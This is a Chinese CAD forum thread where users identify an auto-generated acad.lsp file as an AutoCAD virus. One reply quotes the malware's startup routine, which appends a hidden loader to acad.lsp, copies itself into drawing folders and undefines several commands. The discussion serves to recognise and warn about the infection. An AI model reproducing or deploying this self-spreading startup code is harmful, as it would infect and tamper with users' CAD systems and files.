CAD启动自动生成的acad.lsp

F4164789

无意中发现，CAD启动自动生成的acad.lsp，怎么有181KB,好像是源码，让大家看下

spp_wall

病毒？？？？

Andyhon

附件下载时直接被挡驾了...

donghuidong2003

这是中了CAD病毒的表现，杀下毒

xyp1964

内容还挺丰富，虽有乱码，但没找到“毒码”。

vlisp2012

小红伞直接报毒。

F4164789

请问这帖子怎么删除,大家都不要再下载了，谢谢大家.

zzyong00

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
                   )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq        ns1 ""
        ns2 ""
        )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
             (setq ns1 ns2)
             (setq ns2 wz)
             )
           (if (> (strlen ns1) 14)
             (if (= (substr ns1 8 7) "acadiso")
               (setq lspbj 1)
               )
             )
           (close wjm)
           )
    )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
           (setq newacad (strcat path "acadiso.lsp"))
           (if (= lspbj 0)
             (progn (setq wjqm (strcat path "acad.lsp"))
                    (setq wjm (open wjqm "a"))
                    (write-line
                      (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
                      )
                    (write-line "(princ)" wjm)
                    (close wjm)
                    )
             )
           (writeapp)
           )
    (progn (if (/= nowdwg "Drawing.dwg")
             (progn (setq oldacad (findfile "acadiso.lsp"))
                    (setq newacad (strcat dwgpath "acad.lsp"))
                    (writeapp)
                    )
             )
           )
    )
  (command "undefine" "attedit")
  (command "undefine" "xref")
  (command "undefine" "xbind")
  (setvar "cmdecho" old_cmd)
  (princ)
  )

这一段，是典型的病毒

edata

zzyong00 发表于 2015-9-11 22:55
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm ...

undefine .这几个命令貌似变成了insert

ucuc2003

xyp1964 发表于 2015-9-11 18:42
内容还挺丰富，虽有乱码，但没找到“毒码”。

院长请教下，啥样的码是毒码？